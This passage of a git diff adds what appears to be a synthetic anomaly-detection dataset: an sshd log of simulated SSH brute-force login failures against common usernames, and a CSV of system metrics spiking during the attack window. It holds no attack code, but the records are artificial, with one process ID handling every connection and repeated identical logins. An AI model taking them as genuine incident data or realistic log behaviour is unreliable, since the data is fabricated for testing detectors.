ftpuser from 203.0.113.12 port 44537 ssh2 +Aug 26 14:06:28 sshd[3305]: Failed password for ec2-user from 10.1.1.200 port 14259 ssh2 +Aug 26 14:06:28 sshd[4277]: Failed password for invalid user dev from 198.51.100.55 port 20669 ssh2 +Aug 26 14:06:28 sshd[3930]: Failed password for invalid user dev from 10.1.1.200 port 57604 ssh2 +Aug 26 14:06:28 sshd[4740]: Failed password for invalid user ftpuser from 10.1.1.200 port 65250 ssh2 +Aug 26 14:06:28 sshd[4942]: Failed password for ec2-user from 172.16.254.10 port 54419 ssh2 +Aug 26 14:06:29 sshd[6277]: Failed password for invalid user deploy from 198.51.100.55 port 41223 ssh2 +Aug 26 14:06:29 sshd[3717]: Failed password for invalid user webmaster from 172.16.254.10 port 37165 ssh2 +Aug 26 14:06:29 sshd[3915]: Failed password for ec2-user from 198.51.100.55 port 27316 ssh2 +Aug 26 14:06:29 sshd[4891]: Failed password for invalid user sqladmin from 10.1.1.200 port 58040 ssh2 +Aug 26 14:06:30 sshd[2592]: Failed password for invalid user git from 203.0.113.12 port 31301 ssh2 +Aug 26 14:06:30 sshd[5877]: Failed password for invalid user ftpuser from 203.0.113.12 port 58055 ssh2 +Aug 26 14:06:30 sshd[7868]: Failed password for invalid user deploy from 198.51.100.55 port 31337 ssh2 +Aug 26 14:06:30 sshd[6412]: Failed password for invalid user git from 172.16.254.10 port 59336 ssh2 +Aug 26 14:06:30 sshd[4012]: Failed password for backup from 10.1.1.200 port 29436 ssh2 +Aug 26 14:06:30 sshd[5949]: Failed password for invalid user deploy from 172.16.254.10 port 36452 ssh2 +Aug 26 14:06:30 sshd[5690]: Failed password for invalid user sqladmin from 10.1.1.200 port 28492 ssh2 +Aug 26 14:06:31 sshd[6515]: Failed password for invalid user dev from 10.1.1.200 port 64312 ssh2 +Aug 26 14:06:31 sshd[7582]: Failed password for invalid user deploy from 10.1.1.200 port 40399 ssh2 +Aug 26 14:06:31 sshd[6077]: Failed password for invalid user git from 198.51.100.55 port 43897 ssh2 +Aug 26 14:06:31 sshd[2457]: Failed password for invalid user dev from 198.51.100.55 port 38998 ssh2 +Aug 26 14:06:32 sshd[4870]: Failed password for test from 10.1.1.200 port 20402 ssh2 +Aug 26 14:06:33 sshd[4601]: Failed password for invalid user deploy from 203.0.113.12 port 49885 ssh2 +Aug 26 14:06:33 sshd[6231]: Failed password for invalid user ftpuser from 198.51.100.55 port 17775 ssh2 +Aug 26 14:06:33 sshd[5444]: Failed password for invalid user dev from 10.1.1.200 port 43137 ssh2 +Aug 26 14:06:33 sshd[4063]: Failed password for invalid user git from 10.1.1.200 port 54407 ssh2 +Aug 26 14:06:34 sshd[7798]: Failed password for invalid user webmaster from 10.1.1.200 port 30479 ssh2 +Aug 26 14:06:34 sshd[6981]: Failed password for invalid user ftpuser from 198.51.100.55 port 60325 ssh2 +Aug 26 14:06:34 sshd[6546]: Failed password for invalid user git from 10.1.1.200 port 37268 ssh2 +Aug 26 14:06:34 sshd[7134]: Failed password for invalid user sqladmin from 172.16.254.10 port 45737 ssh2 +Aug 26 14:06:35 sshd[7109]: Failed password for invalid user deploy from 172.16.254.10 port 65034 ssh2 +Aug 26 14:06:35 sshd[6557]: Failed password for invalid user webmaster from 10.1.1.200 port 17582 ssh2 +Aug 26 14:06:35 sshd[5997]: Failed password for invalid user dev from 203.0.113.12 port 34422 ssh2 +Aug 26 14:06:35 sshd[7884]: Failed password for invalid user sqladmin from 172.16.254.10 port 39772 ssh2 +Aug 26 14:06:36 sshd[7711]: Failed password for guest from 203.0.113.12 port 61928 ssh2 +Aug 26 14:06:36 sshd[3484]: Failed password for invalid user deploy from 10.1.1.200 port 21460 ssh2 +Aug 26 14:06:36 sshd[5626]: Failed password for invalid user dev from 203.0.113.12 port 28207 ssh2 +Aug 26 14:06:36 sshd[7196]: Failed password for invalid user sqladmin from 172.16.254.10 port 19985 ssh2 +Aug 26 14:06:36 sshd[4729]: Failed password for invalid user sqladmin from 10.1.1.200 port 49488 ssh2 +Aug 26 14:06:36 sshd[4267]: Failed password for invalid user deploy from 198.51.100.55 port 12597 ssh2 +Aug 26 14:06:36 sshd[4945]: Failed password for user from 10.1.1.200 port 15783 ssh2 +Aug 26 14:06:36 sshd[5798]: Failed password for invalid user ftpuser from 172.16.254.10 port 11538 ssh2 +Aug 26 14:06:36 sshd[7787]: Failed password for invalid user dev from 198.51.100.55 port 59379 ssh2 +Aug 26 14:06:37 sshd[3376]: Failed password for user from 172.16.254.10 port 55606 ssh2 +Aug 26 14:06:37 sshd[6415]: Failed password for invalid user webmaster from 198.51.100.55 port 54434 ssh2 +Aug 26 14:06:37 sshd[6973]: Failed password for invalid user ftpuser from 198.51.100.55 port 35567 ssh2 +Aug 26 14:06:37 sshd[5638]: Failed password for invalid user ftpuser from 10.1.1.200 port 47601 ssh2 +Aug 26 14:06:37 sshd[3166]: Failed password for backup from 198.51.100.55 port 45303 ssh2 +Aug 26 14:06:37 sshd[2864]: Failed password for invalid user webmaster from 203.0.113.12 port 61673 ssh2 +Aug 26 14:06:37 sshd[2077]: Failed password for service from 203.0.113.12 port 15008 ssh2 +Aug 26 14:06:38 sshd[2479]: Failed password for invalid user webmaster from 10.1.1.200 port 58777 ssh2 +Aug 26 14:06:38 sshd[6999]: Failed password for invalid user git from 10.1.1.200 port 16945 ssh2 +Aug 26 14:06:39 sshd[2485]: Failed password for invalid user ftpuser from 172.16.254.10 port 33250 ssh2 +Aug 26 14:06:39 sshd[3368]: Failed password for invalid user webmaster from 198.51.100.55 port 27989 ssh2 +Aug 26 14:06:39 sshd[6104]: Failed password for invalid user sqladmin from 172.16.254.10 port 41330 ssh2 +Aug 26 14:06:40 sshd[4711]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 +Aug 26 14:07:20 sshd[3832]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 diff --git a/mali_dataset/scenario_7/mali_7_21.csv b/mali_dataset/scenario_7/mali_7_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..aca621df0ff48cda5001456365b4b66be31bea82 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,15.73,40.94,21.12,1.36,0.87 +2025-08-26T10:00:05Z,10.99,44.77,24.63,1.26,1.14 +2025-08-26T10:00:10Z,13.62,43.84,28.06,1.48,0.99 +2025-08-26T10:00:15Z,12.46,42.92,26.11,1.3,0.86 +2025-08-26T10:00:20Z,14.89,41.73,29.3,1.19,0.83 +2025-08-26T10:00:25Z,13.7,43.89,28.05,1.13,0.88 +2025-08-26T10:00:30Z,10.19,40.51,27.74,1.44,1.17 +2025-08-26T10:00:35Z,18.86,44.95,26.33,1.41,0.92 +2025-08-26T10:00:40Z,13.85,42.6,26.0,1.15,1.17 +2025-08-26T10:00:45Z,14.93,40.76,24.35,1.28,1.03 +2025-08-26T10:00:50Z,19.07,44.32,23.72,1.08,0.93 +2025-08-26T10:00:55Z,18.59,42.26,24.69,1.14,0.87 +2025-08-26T10:01:00Z,12.38,43.11,23.11,1.15,1.11 +2025-08-26T10:01:05Z,19.83,42.94,22.0,1.35,1.17 +2025-08-26T10:01:10Z,19.23,40.59,26.03,1.37,0.89 +2025-08-26T10:01:15Z,19.14,41.86,21.85,1.09,1.07 +2025-08-26T10:01:20Z,15.03,40.33,24.97,1.12,0.98 +2025-08-26T10:01:25Z,18.16,41.24,26.46,1.25,1.08 +2025-08-26T10:01:30Z,15.83,41.57,28.11,1.33,0.99 +2025-08-26T10:01:35Z,14.84,42.21,24.02,1.28,1.14 +2025-08-26T10:01:40Z,89.22,44.11,18.93,12.64,0.93 +2025-08-26T10:01:45Z,82.02,41.78,18.99,12.31,1.18 +2025-08-26T10:01:50Z,94.45,43.44,21.64,8.01,1.18 +2025-08-26T10:01:55Z,75.74,39.83,19.29,14.78,1.09 +2025-08-26T10:02:00Z,94.1,44.3,20.03,10.75,0.84 +2025-08-26T10:02:05Z,92.06,40.91,19.71,14.43,1.01 +2025-08-26T10:02:10Z,80.58,41.89,20.21,11.39,0.87 +2025-08-26T10:02:15Z,91.49,42.97,22.82,14.72,1.15 +2025-08-26T10:02:20Z,89.49,40.29,19.18,11.33,0.85 +2025-08-26T10:02:25Z,85.95,39.83,23.27,12.85,0.83 +2025-08-26T10:02:30Z,79.74,42.73,22.34,13.75,1.14 +2025-08-26T10:02:35Z,88.4,43.14,27.77,14.07,0.84 +2025-08-26T10:02:40Z,75.67,42.33,25.72,13.3,0.92 +2025-08-26T10:02:45Z,91.21,42.37,27.99,8.54,0.91 +2025-08-26T10:02:50Z,91.91,42.91,18.82,13.89,1.0 +2025-08-26T10:02:55Z,94.37,43.39,21.63,10.0,1.07 +2025-08-26T10:03:00Z,93.27,44.81,24.98,11.78,0.85 +2025-08-26T10:03:05Z,94.05,40.91,20.48,9.19,0.93 +2025-08-26T10:03:10Z,76.83,43.07,24.63,14.78,1.1 +2025-08-26T10:03:15Z,75.14,42.82,22.05,8.96,1.2 +2025-08-26T10:03:20Z,87.36,40.53,29.75,12.81,0.83 +2025-08-26T10:03:25Z,78.47,40.14,29.88,14.07,0.89 +2025-08-26T10:03:30Z,88.57,40.7,26.07,8.29,0.96 +2025-08-26T10:03:35Z,76.28,42.31,30.21,10.87,0.8 +2025-08-26T10:03:40Z,77.58,42.21,30.28,9.74,0.84 +2025-08-26T10:03:45Z,84.01,40.57,23.79,11.76,0.87 +2025-08-26T10:03:50Z,86.09,41.66,29.38,10.56,0.8 +2025-08-26T10:03:55Z,77.88,39.94,24.77,11.16,1.08 +2025-08-26T10:04:00Z,75.43,45.05,28.32,10.6,1.2 +2025-08-26T10:04:05Z,76.9,41.6,25.53,11.34,1.08 +2025-08-26T10:04:10Z,79.33,45.19,23.96,9.84,0.88 +2025-08-26T10:04:15Z,81.81,42.08,22.84,10.26,0.98 +2025-08-26T10:04:20Z,88.92,42.59,19.76,14.73,0.91 +2025-08-26T10:04:25Z,86.95,42.28,20.05,10.63,1.1 +2025-08-26T10:04:30Z,82.64,41.4,24.4,10.01,1.06 +2025-08-26T10:04:35Z,84.99,41.39,31.18,11.29,0.9 +2025-08-26T10:04:40Z,80.36,42.23,22.38,13.61,0.82 +2025-08-26T10:04:45Z,85.0,40.28,24.48,10.99,0.97 +2025-08-26T10:04:50Z,81.79,41.05,20.52,10.21,1.09 +2025-08-26T10:04:55Z,84.81,44.52,25.13,9.94,1.01 +2025-08-26T10:05:00Z,82.3,44.05,26.94,11.42,1.13 +2025-08-26T10:05:05Z,75.58,40.54,24.52,8.24,0.86 +2025-08-26T10:05:10Z,93.02,42.06,20.89,13.74,0.83 +2025-08-26T10:05:15Z,85.44,43.27,18.38,12.34,0.81 +2025-08-26T10:05:20Z,91.3,40.17,22.67,14.58,0.96 +2025-08-26T10:05:25Z,94.63,43.63,20.26,14.59,0.91 +2025-08-26T10:05:30Z,93.51,40.84,22.31,9.11,0.99 +2025-08-26T10:05:35Z,88.15,42.85,27.59,10.53,0.94 +2025-08-26T10:05:40Z,92.95,43.75,28.78,12.66,0.91 +2025-08-26T10:05:45Z,94.34,42.93,23.66,11.65,1.05 +2025-08-26T10:05:50Z,12.43,44.36,26.95,1.01,1.15 +2025-08-26T10:05:55Z,11.78,40.35,29.54,1.42,1.15 +2025-08-26T10:06:00Z,10.61,43.41,20.88,1.2,1.15 +2025-08-26T10:06:05Z,17.51,40.72,22.98,1.49,0.83 +2025-08-26T10:06:10Z,12.5,43.87,25.14,1.16,0.83 +2025-08-26T10:06:15Z,19.08,43.09,25.69,1.41,0.84 +2025-08-26T10:06:20Z,16.59,44.83,26.09,1.11,1.06 +2025-08-26T10:06:25Z,14.9,44.51,28.43,1.3,1.01 +2025-08-26T10:06:30Z,14.25,41.82,25.43,1.44,1.09 +2025-08-26T10:06:35Z,18.71,42.12,22.93,1.04,0.88 +2025-08-26T10:06:40Z,12.0,44.81,29.97,1.21,1.13 +2025-08-26T10:06:45Z,15.25,43.04,28.96,1.02,1.15 +2025-08-26T10:06:50Z,12.5,42.23,21.22,1.42,1.11 +2025-08-26T10:06:55Z,15.79,43.51,24.42,1.06,0.93 +2025-08-26T10:07:00Z,13.09,41.78,25.17,1.27,1.03 +2025-08-26T10:07:05Z,15.51,41.86,20.32,1.0,1.09 +2025-08-26T10:07:10Z,19.7,41.51,25.05,1.37,1.0 +2025-08-26T10:07:15Z,15.29,41.63,26.58,1.01,0.88 +2025-08-26T10:07:20Z,13.2,44.3,24.24,1.43,1.18 +2025-08-26T10:07:25Z,11.6,42.94,20.35,1.31,0.99 diff --git a/mali_dataset/scenario_7/mali_7_21.log b/mali_dataset/scenario_7/mali_7_21.log new file mode 100644 index 0000000000000000000000000000000000000000..408d7c5e749d0b25d87c586dbcd60fe65c1e31cc --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_21.log @@ -0,0 +1,606 @@ +Aug 26 10:00:02 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:04 auth-server sshd[2492]: Accepted password for user from 192.168.1.10 port 51234 ssh2 +Aug 26 10:00:29 auth-server sshd[2492]: Accepted password for user from 192.168.1.10 port 51234 ssh2 +Aug 26 10:00:40 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:53 auth-server sshd[2492]: Accepted password for user from 192.168.1.10 port 51234 ssh2 +Aug 26 10:01:16 auth-server sshd[2492]: Accepted password for user from 192.168.1.10 port 51234 ssh2 +Aug 26 10:01:22 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:40 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 60618 ssh2 +Aug 26 10:01:40 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 63737 ssh2 +Aug 26 10:01:41 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 28788 ssh2 +Aug 26 10:01:41 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 17717 ssh2 +Aug 26 10:01:42 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 22104 ssh2 +Aug 26 10:01:42 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 50985 ssh2 +Aug 26 10:01:42 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 25509 ssh2 +Aug 26 10:01:44 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 44834 ssh2 +Aug 26 10:01:44 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 10758 ssh2 +Aug 26 10:01:44 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 35720 ssh2 +Aug 26 10:01:45 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 61188 ssh2 +Aug 26 10:01:45 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 25845 ssh2 +Aug 26 10:01:45 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 44741 ssh2 +Aug 26 10:01:46 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 15913 ssh2 +Aug 26 10:01:46 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 43053 ssh2 +Aug 26 10:01:47 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 54752 ssh2 +Aug 26 10:01:47 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 46982 ssh2 +Aug 26 10:01:47 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 17173 ssh2 +Aug 26 10:01:49 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 30740 ssh2 +Aug 26 10:01:49 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 27370 ssh2 +Aug 26 10:01:49 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 12699 ssh2 +Aug 26 10:01:49 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 33868 ssh2 +Aug 26 10:01:50 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 18196 ssh2 +Aug 26 10:01:50 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 28451 ssh2 +Aug 26 10:01:51 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 43571 ssh2 +Aug 26 10:01:52 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 52365 ssh2 +Aug 26 10:01:52 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 37196 ssh2 +Aug 26 10:01:52 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 43206 ssh2 +Aug 26 10:01:52 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 26319 ssh2 +Aug 26 10:01:52 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 28120 ssh2 +Aug 26 10:01:53 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 12711 ssh2 +Aug 26 10:01:53 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 28952 ssh2 +Aug 26 10:01:53 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 57985 ssh2 +Aug 26 10:01:54 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 48880 ssh2 +Aug 26 10:01:55 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 53902 ssh2 +Aug 26 10:01:55 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 44396 ssh2 +Aug 26 10:01:56 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 65096 ssh2 +Aug 26 10:01:56 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 60787 ssh2 +Aug 26 10:01:57 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 61659 ssh2 +Aug 26 10:01:57 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 53651 ssh2 +Aug 26 10:01:58 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 11206 ssh2 +Aug 26 10:01:58 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 64876 ssh2 +Aug 26 10:01:58 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 29427 ssh2 +Aug 26 10:02:00 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 41093 ssh2 +Aug 26 10:02:00 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 59836 ssh2 +Aug 26 10:02:00 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 20956 ssh2 +Aug 26 10:02:01 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 50296 ssh2 +Aug 26 10:02:01 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 50399 ssh2 +Aug 26 10:02:01 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 25631 ssh2 +Aug 26 10:02:02 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 17329 ssh2 +Aug 26 10:02:02 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 62359 ssh2 +Aug 26 10:02:03 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 37744 ssh2 +Aug 26 10:02:03 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 64959 ssh2 +Aug 26 10:02:04 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 13820 ssh2 +Aug 26 10:02:04 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 38022 ssh2 +Aug 26 10:02:04 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 46258 ssh2 +Aug 26 10:02:04 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 35424 ssh2 +Aug 26 10:02:05 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 56141 ssh2 +Aug 26 10:02:05 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 48960 ssh2 +Aug 26 10:02:06 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 48403 ssh2 +Aug 26 10:02:06 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 43858 ssh2 +Aug 26 10:02:06 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 24114 ssh2 +Aug 26 10:02:06 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 55219 ssh2 +Aug 26 10:02:07 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 60718 ssh2 +Aug 26 10:02:08 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 12611 ssh2 +Aug 26 10:02:08 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 19199 ssh2 +Aug 26 10:02:08 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 20570 ssh2 +Aug 26 10:02:08 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 53596 ssh2 +Aug 26 10:02:09 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 56071 ssh2 +Aug 26 10:02:09 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 20880 ssh2 +Aug 26 10:02:09 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 38933 ssh2 +Aug 26 10:02:09 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 62722 ssh2 +Aug 26 10:02:10 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 38326 ssh2 +Aug 26 10:02:10 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 53442 ssh2 +Aug 26 10:02:10 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 31654 ssh2 +Aug 26 10:02:11 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 39216 ssh2 +Aug 26 10:02:11 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 48562 ssh2 +Aug 26 10:02:12 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 48132 ssh2 +Aug 26 10:02:13 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 52552 ssh2 +Aug 26 10:02:13 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 58336 ssh2 +Aug 26 10:02:13 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 22368 ssh2 +Aug 26 10:02:14 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 43545 ssh2 +Aug 26 10:02:15 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 28154 ssh2 +Aug 26 10:02:15 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 42659 ssh2 +Aug 26 10:02:16 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 29366 ssh2 +Aug 26 10:02:16 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 30090 ssh2 +Aug 26 10:02:16 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 49669 ssh2 +Aug 26 10:02:16 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 37454 ssh2 +Aug 26 10:02:17 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 22460 ssh2 +Aug 26 10:02:17 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 43662 ssh2 +Aug 26 10:02:18 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 28881 ssh2 +Aug 26 10:02:18 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 54018 ssh2 +Aug 26 10:02:18 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 16503 ssh2 +Aug 26 10:02:19 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 16127 ssh2 +Aug 26 10:02:19 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 12547 ssh2 +Aug 26 10:02:21 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 55256 ssh2 +Aug 26 10:02:21 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 31747 ssh2 +Aug 26 10:02:22 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 11290 ssh2 +Aug 26 10:02:22 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 27448 ssh2 +Aug 26 10:02:23 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 51004 ssh2 +Aug 26 10:02:23 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 11017 ssh2 +Aug 26 10:02:23 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 40706 ssh2 +Aug 26 10:02:23 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 47497 ssh2 +Aug 26 10:02:24 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 10864 ssh2 +Aug 26 10:02:25 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 44524 ssh2 +Aug 26 10:02:26 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 62574 ssh2 +Aug 26 10:02:26 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 22590 ssh2 +Aug 26 10:02:26 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 37456 ssh2 +Aug 26 10:02:26 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 45969 ssh2 +Aug 26 10:02:27 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 35838 ssh2 +Aug 26 10:02:27 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 31313 ssh2 +Aug 26 10:02:27 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 43409 ssh2 +Aug 26 10:02:28 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 32556 ssh2 +Aug 26 10:02:28 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 27583 ssh2 +Aug 26 10:02:28 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 45424 ssh2 +Aug 26 10:02:28 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 13688 ssh2 +Aug 26 10:02:29 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 18605 ssh2 +Aug 26 10:02:30 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 30152 ssh2 +Aug 26 10:02:30 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 56845 ssh2 +Aug 26 10:02:30 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 27112 ssh2 +Aug 26 10:02:30 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 53359 ssh2 +Aug 26 10:02:30 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 55277 ssh2 +Aug 26 10:02:31 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 62350 ssh2 +Aug 26 10:02:32 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 53384 ssh2 +Aug 26 10:02:32 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 46021 ssh2 +Aug 26 10:02:33 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 44637 ssh2 +Aug 26 10:02:34 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 46204 ssh2 +Aug 26 10:02:37 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 15815 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 50152 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 20947 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 22696 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 49566 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 47295 ssh2 +Aug 26 10:02:38 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 57484 ssh2 +Aug 26 10:02:39 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 42684 ssh2 +Aug 26 10:02:39 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 56513 ssh2 +Aug 26 10:02:39 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 42708 ssh2 +Aug 26 10:02:39 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 55808 ssh2 +Aug 26 10:02:39 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 14047 ssh2 +Aug 26 10:02:40 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 25460 ssh2 +Aug 26 10:02:41 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 27770 ssh2 +Aug 26 10:02:41 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 64317 ssh2 +Aug 26 10:02:41 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 22532 ssh2 +Aug 26 10:02:42 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 62512 ssh2 +Aug 26 10:02:42 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 39386 ssh2 +Aug 26 10:02:42 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 50399 ssh2 +Aug 26 10:02:42 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 12673 ssh2 +Aug 26 10:02:43 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 58511 ssh2 +Aug 26 10:02:44 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 59363 ssh2 +Aug 26 10:02:44 auth-server sshd[2492]: Failed password for webmaster from 